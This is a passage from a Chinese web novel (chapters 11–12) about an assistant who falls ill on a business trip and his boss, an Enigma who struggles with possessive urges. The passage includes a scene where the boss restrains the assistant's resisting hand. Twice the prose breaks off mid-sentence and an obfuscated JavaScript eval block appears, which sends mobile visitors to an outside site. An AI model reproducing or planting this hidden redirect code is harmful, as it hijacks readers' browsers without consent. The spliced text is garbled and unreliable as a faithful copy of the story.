盯着傅执的背影,许知桉突然抬步跟上去,出声叫住了他:“傅执。” 男人脚步停住,转身看他:“怎么了?” “没什么。”许知桉笑了笑,“晚安。” 11. 第 11 章 许知桉在早上六点多的时候就醒了。 他平时其实不会醒这么早,但躺在这个房间里,确实很难像在家里一样,容易进入深度睡眠。 傅执家的房间太整洁了,一点多余的杂物都没有,家具都是新的,像样板间。 他处在其中,总有种怪异的感觉,就好像傅执在人为地抹去自己性格里有世俗欲I念的那一部分,极端自律,无论是工作还是生活,都让外人找不出一丝的破绽和端倪。 可能是自我要求太高了吧,许知桉这样猜测。 他仰着脸在床上迷瞪了一会儿,被子里那股淡淡的木质味,会让他感觉到某种隐秘的安全。过了两分钟,他起身出了房间,去卫生间洗漱。 擦完脸出来,许知桉听见大厅外有动静,是门关上的声音,很沉闷的一声。 傅执抬眼,和有些惊讶的Beta对上视线。 他顿了一下,随即把手里的东西放在玄关:“早,怎么起来了?” “昨晚睡得比较早,就自然醒了。”许知桉说着朝他走近,好奇道,“你怎么这么早出去?” 这个点回来,大概五点多就出门了吧? “晨跑。”傅执换好鞋,拎着手边的袋子进了旁边的厨房,“顺便买了些东西。” 傅执把手里的袋子打开,侧身看着跟过来的Beta,淡道:“正好醒了,看看早餐想吃什么?” 许知桉看着这些品类繁杂的东西,眼睛有点茫然地眨了几下。 买了早餐店的熟食就够了吧,怎么还有这么多饺子面条之类的东西? 是怕他不爱吃,所以每一种都买了一点吗? 许知桉的心脏重重跳了一下,顿时觉得有点不好意思。 他刚要道谢,就听见傅执说:“家里的冰箱空了,我就买些速食放着。包子是买给你的,如果吃不习惯,做些其他的也可以。” 听他这样说,许知桉才顿时松了一口气,笑着点点头,感激道:“可以的,谢谢你。” 出差去首都的飞机是九点,吃完早餐后才不到七点,出发去机场太早了。 许知桉没有工作要干,可他也不想闲着,于是想起昨晚的代码。 他只写了一小段,还没能改完。 许知桉走进卧室,把自己的笔电拿出来,问:“傅执,可以在大厅里办公吗,打字的声音会不会影响你?” 毕竟傅执给他安排的房间里没有桌子,总不能坐在床上敲代码,会很不方便。 傅执说:“可以。”过了一会他又问,“你今早有工作?” “唔,不是公司的事情,是帮一个朋友……” 傅执刚出去过,还没有把衣服换下来,他今天没有穿正装,而是一件偏休闲的浅色上衣。 领口微微敞着,袖子也随意地卷上去一点。 和平时不太一样,很居家,让许知桉竟然暂时了忘记他们还存在上下级这层身份。以至于把昨晚的事情模糊掉重要信息说完之后,Beta才反应过来。 “嗯……总之就是这样。” 他偏头很浅地笑了,有点不好意思地刮了下鼻尖:“我朋友很着急嘛,我就试试看能不能帮上他。” 傅执看着他毫无防备地凑近,在自己身边坐下。 浓黑如墨的眼瞳沉沉地动了动。 傅执问:“你喜欢做开发?我记得你上一份工作,选的也是类似的岗位。” 许知桉想了想:“唔……可以算喜欢吧,做的时候比较顺手,工作内容也挺有意思。” 在许知桉背后,傅执的视线扫过电脑屏幕,看着他时不时打开聊天框,似乎是在和对方确认进度,以及一些更改的细节。 许知桉的备注很公事公办,就是对方的名字。 男人把这个名字默默记下,才又把注意力放回到Beta光洁白皙的后颈上,脸上的神情让人看不出他的情绪,沉默着。 到七点五十,许知桉揉了一下有点酸痛的肩颈,回过神。 他注意到旁边的傅执,有点惊讶。 一直坐在这里吗? 他都写了快一个小时了。 傅执:“好了?” “嗯嗯,差不多了。”许知桉把笔电合上。 带齐了行李,他们被司机送去机场,要花两个小时飞到首都。 可能是昨晚吹了冷风,许知桉突然感觉头有点痛,胃还发胀,昏昏沉沉的。 傅执给他拿了毯子,低声让他休息。 许知桉不知道自己怎么会这么累,这一睡就直接睡到了飞机落地。被叫醒的时候,Beta已经有点睡懵了,不知道周围是什么情况。 被傅执低沉的声音叫醒时,他只感觉有一只大手在他背上轻轻拍了两下,温度很高。 Beta身体发冷,下意识就去追逐这热源,手往前伸着,圈住l 傅执的手腕,被这温度暖得不肯放开。 傅执没料到他会这样,手背的青筋立刻绷了起来,略显僵硬地悬在半空。 他腕骨处的抑制手环极快地闪烁了一下。 但也只有那么一下,黑色的手环就不再有动静了。 傅执稳住呼吸,扯了扯,试图叫醒他:“许助,先起来。” 可许知桉没有理他,抓得更紧了。 傅执只感觉腺体发胀,昨晚抓出来的伤口又开始痛了。 只能无奈地叹了口气,低低地喊他的名字:“许知桉,起来,松手了。” “嗯……好。” 许知桉头很疼,只感觉天旋地转,对自己说了什么做了什么完全没有印象。 到外面被冷风吹了一下,他才慢慢清醒过来,感觉自己的状态似乎有些不对劲,很不舒服。 但时间紧迫,许知桉也没工夫细想了,在机场叫了车,把行李放到预订好的酒店,再和傅执一起去见合作方。 - 两人准时抵达,对方也已经到齐,在包间等候。 落座后,许知桉抬眼看了一下。 对方的负责人明显是个Alpha,个子很高,也带着高级AO通用的抑制手环。 对方给他们倒上酒,又说了一些客套话,态度很诚恳。 见负责人这样,许知桉便觉得这次酒局可以顺利完成了,应该花不了多少时间。 但越听对方的条件,他越觉得不对劲,蹙着眉心,从文件里抬起头。 报价要降,附加条款在原来的基础上多了,工期还要求放宽裕…… 元枢原本给的条件就已经很合理了,这样提要求,哪里像是要谈成合作? 许知桉猛然意识到,这个项目怕不是已经被其他人截胡了,他们这是白跑了一趟。 他缓缓蹙起眉,有点生气。纵使还是要维持体面,脸色也难以抑制地冷了下去。 心里烦闷,许知桉不想再听合作方说了什么了,侧过脸去看自己的上司。 他看见傅执翻合同的动作都潦草了许多,不太在意地扫过各项条目,显然也意识到对方并不想和元枢继续合作下去了。 合同自然没签,半小时后,一顿饭局草草了事。 许知桉是个做事很认真的人,入职以来,他第一次遇到这种事,难免有些心情低落,眼尾都不明显地垂下了一些。 回酒店的车上,几乎一路无话。 酒店定的是首都的市中心,离谈合作的地方很近,两间房,他和傅执的挨在一起。 本来应该回各自的房间休息的,但许知桉不太想直接分开,想在今晚休息之前,开口安慰一下自己的老板。 作为助理,许知桉认为体恤老板的情绪还是很有必要的,也算工作的一部分。 况且回程路上傅执这么沉默,应该也是因为饭桌上的事,心情不太好。 乘着电梯上楼,酒店的长廊里空无一人。许知桉转身,想在进房间前说些什么,却看见对方走上前,面色很沉地盯着他看。 傅执伸出手,在这个堪称极近的距离之下,把他的额发掀起来,然后贴了贴他的额头。 有点烫。 看了他一路,果然是发烧了。 傅执垂眼,把声音尽量放得温和一些:“很难受?先回房间里等我,我去楼下买药和体温计。” 听到男人的话,许知桉才后知后觉自己是发烧了。 大概是昨晚吹了冷风。 他被傅执带进房间,喝了点热水,一个人坐在沙发上等候。 没过多久,傅执就拎着一些药回来了,随手关上了门。 他先把体温计拆开,递给许知桉:“量一下。” 许知桉看着对方过于自然的样子,顿了一下,轻轻嗯了一声,很顺从地接了过来。 生病这事很奇怪,不被点破还好,一旦知道自己是生了病,各种症状就压都压不住了。 Beta有点没力气地靠着沙发。 他看着傅执正在拆药盒的高大背影,问出了刚才想问的话:“你心情是不是不太好?” “抱歉……”许知桉有点内疚,垂下眼,“如果来之前我查仔细点,今天可能就不用空跑一趟了。” 来回六个小时,放谁身上都会很烦躁的。 奇怪的是,许知桉并没看到傅执再表现出车里的那种情绪,脸上也没什么表情,淡淡应道:“不会。” “这次是对方的问题,元枢也会终止和他们其他项目的后续合作。” 傅执端着一杯冲好的药剂,放在许知桉手边,“这次不是你的问题,不要多想。” “可你在车上没怎么说话……”许知桉仍不放心,“难道不是因为不高兴吗?” “我是在看你有没有不舒服,出了电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424301|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯就确认了。” 许知桉怎么也没想到是这样的理由。 面对这样不守信的合作方,浪费了时间,竟然一点都不生气吗? 要知道,被另一个Alpha这样挑衅,几乎没有A能忍住不动怒,至少也会有一点情绪波动。 就连他这个Beta,都很不悦了。 可傅执却没有。 他神情依旧淡漠,这件事对他似乎造不成任何情绪上的影响,连多余的在意都没有。 “你脾气真好。”许知桉由衷地说。 情绪太稳定了,和性别简直完全不符。 傅执对此并没有太多表示,轻轻拍了一下许知桉的胳膊,让他把体温计取出来。 看了一眼,三十八度五。 可以喝退烧药了,但傅执没让他先喝药,而是左手捏着一支棉签,右手轻轻捏着许知桉的下颚,垂下眼,语气很温和:“张嘴,我看看。” 傅执的手很大,骨节分明,手背青筋蜿蜒。棉签被他捏在手里,像某种过于袖珍的玩具。 他体温太高了,许知桉被他捏得一颤,呼吸都微微抖了一下,下意识张嘴。 傅执沉沉看了几秒,才继续动作。他伸出手,把棉签探进去,压住许知桉泛着水光的软舌,查看扁桃体的情况。 一开始他怕弄疼许知桉,压得太轻,从这个角度,看不清喉咙里面。 于是傅执微微用力。 但作为一个Enigma,他很难完全精确地把控力度,让Beta忍不住低低地呻I吟了一声。 被压着舌根的感觉很不好受,许知桉忍不住皱眉。 但他又想配合傅执,只能忍着不反抗,尽量把自己的舌头压下去一点,嘴唇张得更开一些。 “……” 看着这一幕,傅执不知道为什么,突然想。 ……怎么能这么乖。 明明难受,都还要尽力配合他,全然信任他的样子。 心底生出了某种难以描述的快感,傅执出了神,一瞬间忘记了自己做这个举动的初衷。他脸上神情依旧很淡,动作很温和,却慢慢地压着手腕,把棉签缓慢地,探到了Beta脆弱的喉口处。 “呜呜……” 许知桉这下是真的有一点点难受了。 压得太用力了。 他努力地想把棉签弄出去,手也抬起来,放在傅执手臂上,想提醒他。 可傅执没有松开,反而把那只抗拒的手摁住了,压在他的胸口上。 傅执力气太大了,动都动不了。 这下许知桉彻底没了办法。 他眼眶都有点憋红了,自下而上,不解地看着面前的人。 过了几秒,许知桉看见对方的动作突然一顿,似乎一下子清醒过来,手立刻松了力气,把棉签取出来。 男人空出来的手附在他的下巴上,安抚性地揉了一下。 不知道为什么,再开口时,傅执的声音哑得不像话:“……还好吗?” “咳咳……还好。” 许知桉的舌尖有点麻,收不太回去,微微伸着,“刚刚是怎么了……我喉咙肿得很严重吗?” “没有,没发炎。” 傅执很快地起身,把装着药的杯子递给许知桉,看着Beta喝完了药。 然后他说:“我还有点事,需要出去一趟。” 许知桉把空了的杯子放在一边,不解道:“嗯?要去哪里?” 累了一天,不应该回去休息吗? “买些吃的,今晚在饭局上你没吃到什么东西。”傅执说,“很快就回来,你累的话可以先眯一会儿,我会叫醒你。” “有什么不舒服,就给我打电话。” 看着许知桉在床上躺下休息以后,傅执一秒也没有停留,离开了房门,乘着电梯下去。 ……他刚刚失控了。 后怕、不受控的感觉让他非常烦躁,Enigma的眼神阴郁得近乎凝结出实质。 隐约暴露出被压抑的本性,和刚刚在Beta面前伪装出来的温和截然不同。 没有任何犹豫,他拿出手机打了一通电话。 远在大洋彼岸,方旭在开一个很重要的学术研讨会。 低头看见来电上显示的名字,他额角狠狠地跳了跳,几乎要出冷汗。 如果不是大事,傅执绝不可能主动联系他。 面对一个有失控风险的Enigma,这下什么会议都不重要了。方旭赶紧出去,走到没人能听见的地方,接通后问:“出什么事了?” “加强抑制剂的试药。”他听见对面的Enigma说,“我需要提前。” “不管用什么方式,让管理局和医院尽快安排。”傅执的声音像淬了冰一样冷,“最迟后天,我就要用到新的抑制剂。” 12. 第 12 章 一夜过去,许知桉睁开眼睛,身体又酸又痛,像一张被暴力揉皱又展开的纸。 太疲惫了。 他的大脑几乎没法思考,想着再睡一会,把整张脸都埋到被子里,额发被他蹭得乱糟糟的。 在意识消失前,他突然一个激灵,清醒了,快速地撑起身子,伸手到旁边的床头柜上拿手机。 上午九点半,飞机已经晚点了。 许知桉直愣愣地看着这个数字,难以接受竟然弄出了这样的工作失误。 傅执今天下午还有会,现在本来已经快回到S市了。结果他没能准时起床,甚至还在酒店的床上睡回笼觉。 这下一点睡意也没了,许知桉赶紧洗漱,收拾好后,到隔壁的酒店房间敲门。 傅执很快开了门,示意许知桉进来。 “先坐一下,我去倒杯水。” “谢谢,不过先不用了。”许知桉有点着急,语速很快,“我记得九点半还有一趟航班,我们现在赶去机场还来得及,会议前就能赶到。” “生病了还惦记这个?” 傅执垂眼看着他,话里带了一点低微的笑意,“不用这么赶……已经改成视频会议了。等你退完烧,我们再回去。” 傅执的语气一如既往的温和,Beta原本焦灼的情绪,被一句话就简单安抚好了。 他扶着胸口,轻轻地出了一口气。 没耽误工作就好。 许知桉的情绪松快了许多,这才感觉到自己现在又渴又饿。 他坐在沙发上,乖乖喝完了傅执给他的一大杯温水,又吃了些酒店的早餐。 傅执给他量了□□温,看清数字后皱了皱眉。 三十七度六,还没能完全退。 “去医院打个吊瓶吧,会好得快一些。”许知桉想早点退烧回去,于是提议道。 傅执没什么异议,结束会议后,陪着许知桉去首都一院挂了号。 许知桉是Beta,因此少了很多信息素检测的环节。 不到半小时,他们就进了诊疗室。 医生拿着检测单,“发热前有什么症状?” “头晕头痛,发冷。” “有过敏原吗?” “没有。” 许知桉回答着医生的问题,旁边却突然传来一声低低的惊呼,他转头看去。 一个年轻的女护士看着傅执,震惊道:“你的腺体破皮了,还在泛血……没有及时来医院消毒用药吗?” 话音刚落,许知桉和医生同时看向傅执,眼神里都是不可置信。 医生立刻起身,到傅执的身后查看他的腺体。 她先是觉得这个Alpha的体格怎么这么大,比一般的Alpha患者都要高出很多。 然后就是震惊于他糟糕的腺体状态。 “怎么弄的,你自己抓的?” 医生皱着眉:“倒也不算特别严重……不过还是不要拖着了,赶紧去消毒,完全不处理的话腺体很容易感染的。” 许知桉听得心惊,想跟着出去,和傅执一起去消毒室。 但傅执没让他跟着,轻轻拍了下许知桉的背,让他先去打针,自己稍后会过去。 好在没过多久,傅执就处理好回来了。 他看了一下许知桉的输液流速,确认没问题后,在Beta身边的位置坐下。 过分高大的体格,让他坐在这个位置里有些受限,存在感明显。 许知桉看见他的后颈已经上了药,贴了一块绷带。 “伤口是怎么来的?”他忍不住问,“严重吗,会不会很痛?” “还好。”他听见傅执用很温和的语气回答,“不用担心,两三天就能痊愈。” “什么时候伤到的?我都没有发现……” 傅执总能在他不舒服的时候,第一时间就察觉到,他却没发现傅执的信息素波动了。 而且傅执的易感期快到了,一旦波动,肯定会很难受。 许知桉其实是情绪偏淡的那一类,很少过度关心,更多时候都是体面地问候一下,不会再深入了解更多。 可面对傅执,他似乎不太想就这样简单地揭过。 看着许知桉的表情,Enigma手背的肌肉微微绷紧,忍耐了一下,才没有把手放在他的发顶上揉一揉。 “昨晚信息素有些波动,就弄伤了。” 傅执放轻了声音,低低道,“是波动期的正常反应,很轻微,休息一下就好。” 听到这个事实后,许知桉着实惊了一下。 他昨晚一直和傅执待在一起,却完全没有看出来。 傅执给他买药、照顾他吃了东西又入睡,全程的状态都是很平和的。 要知道,级别越高的Alpha,信息素波动时就会越剧烈,腺体的痛苦程度也会成倍增加。 哪怕程度轻微,肯定也非常不好受。 许知桉突然意识到,傅执似乎总是这样。在别的Alpha会动怒、甚至爆发紊乱的情境里,他却总能保持理智,波澜不惊。 真的一点情绪和欲I望都没有吗,作为罕见的S级Alpha? 许知桉突然有点疑惑。 太奇怪了吧? 但他还来不及细想,外面救护车嗡鸣的声音,就把他和傅执的注意力都吸引过去了。 担架车被抬下来,一个身材高大的男性在上面发出痛苦的呻I吟,整个走廊都能听见。 “啧,又是Alpha……” “这都是今天的第几个了啊??” 首都一院的输液室里人很多,其中也不乏Alpha。 本来就生着病,烦躁得很,又闻到这股气味,有几个人非常不满地发出了抱怨,调高了自己的抑制手环。 而作为Enigma,傅执的嗅觉比寻常的Alpha要灵敏数十倍。 这股弥漫了整个输液室的信息素,也分毫不差地传进了他的鼻腔。 这东西太冲,把旁边Beta身上带有的冷雨的气味全部冲散了。 Beta没有信息素,身上的味道本来就不明显,现在更是被堵住,一点都没法再闻到。 “……” Enigma额角的青筋绷起,沉沉地、缓慢地呼出了一口气。 他能感觉到,自己的身体和情绪已经到了临界值。 不能在许知桉面前失控,得找个地方处理一下。 “在这里等我。” 傅执眸色沉沉地看着许知桉,咬着齿根,尽量维持理智,“如果有什么不舒服,就……” 他的话没能说完,因为许知桉突然一动,整个人都倾过来,隔着座位间的扶手,把他给抱住了。 很轻,但确实称得上一个拥抱。 而没有系着吊瓶的、柔软温热的那只手,往前伸着,轻轻地摁在了傅执贴着绷带的腺体上,像是在保护。 Beta的声音听上去有点不自在:“我闻不到,但是看他们的反应……信息素泄露是不是很严重?” “看你脸色不是太好,嗯……那我这样帮你挡一下,会觉得好受一些吗?” 傅执感觉到Beta伸长着手,努力在他的后背上安抚了两下。 回应许知桉的只有沉默。 傅执的太阳穴突突地抽痛着,在Beta看不到的角落,表情阴冷得像要结冰。 不知道是不是渴求到了极致,他反而冷静下来了,心想,还好和Beta之间隔了一道扶手。 如果是面对面抱着、许知桉坐在他的腿上,他可能会忍不住低头,刺破Beta已经退化了的腺体。 把呛人的Enigma信息素完全注入,留下临时标记。 大多数人不知道Enigma这个性别的存在,也不清楚潜藏在其中的危险。 他们的信息素太过强势,既能给伴侣带去灭顶的快意,也能带来毁灭。 几年前,首都发生过一次急救。 患者是某个Enigma的伴侣,半夜昏迷。 原因是配偶的易感期太长、又不断用信息素侵犯,身体接受不了这种连续不断的高*,失去了意识。 这位患者是Omega,尚且还能用信息素,尽量满足伴侣,好让他尽快冷静下来,逃脱这种疯狂到极致的掌控。 如果是Bet ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424302|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a,情况只会更为糟糕,因为他们没有信息素,甚至不能被永久标记。 永久标记之后,Enigma恶劣的欲I望就会多少收敛一些。和Alpha留下的不一样,这种标记强势到无法洗去,伴侣逃到天涯海角也能找到。 可如果没有标记,他们就会陷入无尽的不安、猜忌。 甚至彻底患上分离焦虑。 说实话,如果陷入这样的情况,傅执也不清楚自己会做出什么事。 残存的理智告诉傅执,他不能再贪恋这个拥抱了。 可他又做不到,把关心着他的Beta直接推开。 喉结剧烈地滚了几轮,忍耐着大脑中疯狂叫嚣的占有欲,男人微微低头,十分克制地,用前额在许知桉柔软的肩膀上贴了一下。 “……谢谢。”许知桉听到对方哑得不像话的声音,“好了很多。” 他有点惊讶:“嗯?” 只是这样就好多了吗? 他还以为安抚得不熟练,没能起到什么作用呢。 许知桉点头:“那就好。” 他偏了偏头,好让傅执在他肩膀上靠得舒服一些。 可没过两秒,面前高大的男人就直起身子,拉开了两人的距离。 “你还在打针,这个姿势可能会回血。我已经没事了,别担心。” 抱着的人骤然离开,许知桉还有点没反应过来,有些怔愣地看着对方。 “……真的好了?” 许知桉环顾四周。 可是这些Alpha好像都没太好的样子。 傅执再次给出了肯定的回答,神情也恢复了平静。 见他这样,许知桉也不好再问什么了,只好提了点别的,把这个话题就此揭过去。 - 吊完针后,许知桉彻底退烧了。 他们续了一晚酒店,赶明天八点的航班。 时间还很充裕,许知桉订了首都一家口碑不错的餐厅,和傅执乘车去吃晚饭。 许知桉点的牛排先上了,傅执那边的桌子还是空的。 看了一眼Beta手背上泛青的针口,傅执蹙了下眉:“给我吧。” “嗯?没关系的,我自己来就好。” “你的手不方便。”傅执说,“身体不舒服的时候就让我帮你,下次再自己来。” 许知桉只好把盘子让了出去。 傅执握着刀叉的手很稳,动作利落。 许知桉坐在对面,安静观察着这个Alpha。 明明刚才在医院,闻到那阵Alpha信息素的时候,傅执还很难受,脸色差得厉害。 现在却又恢复到没有波澜的样子了。 一个小小的疑惑,从见面之初就已经在Beta的心里盘旋了。而现在,这种疑惑达到了顶峰。 当然,如果是不熟的上司,只是同事关系,许知桉是不会问出这种问题的。 但他和傅执,应该称得上朋友了吧? 那问一下也没问题吧。 许知桉欲言又止,盯着傅执看,直到对方都快把整块牛排切完了,才道:“傅执。” 傅执:“嗯?” 许知桉:“你真的是Alpha吗?” 男人似乎没想到他会问这个问题,切肉的动作顿了一下。接着他抬起头,眼神微动:“为什么这么问?” “因为你情绪太稳定了,根本不像是S级的Alpha……”许知桉又赶紧补充一句,“当然,你不说也可以,我只是有点好奇,不知道你会不会觉得冒犯。” 对话安静几秒,傅执垂下眼,继续手里的动作,不置可否地笑了一下,“谁知道呢,可能吧。” “怎么突然问这个。”傅执把切好了的牛排推过去,“对Alpha的等级感兴趣?” “这倒没有……” 话题被很自然地转移。 除了那句模棱两可的话,傅执就没有再过多答复。 不过许知桉也不是真的怀疑他的性别,只是因为傅执理智过头了,他才好奇心上涌,问出了这个有点奇怪的问题。 毕竟他不是Alpha还能是什么呢?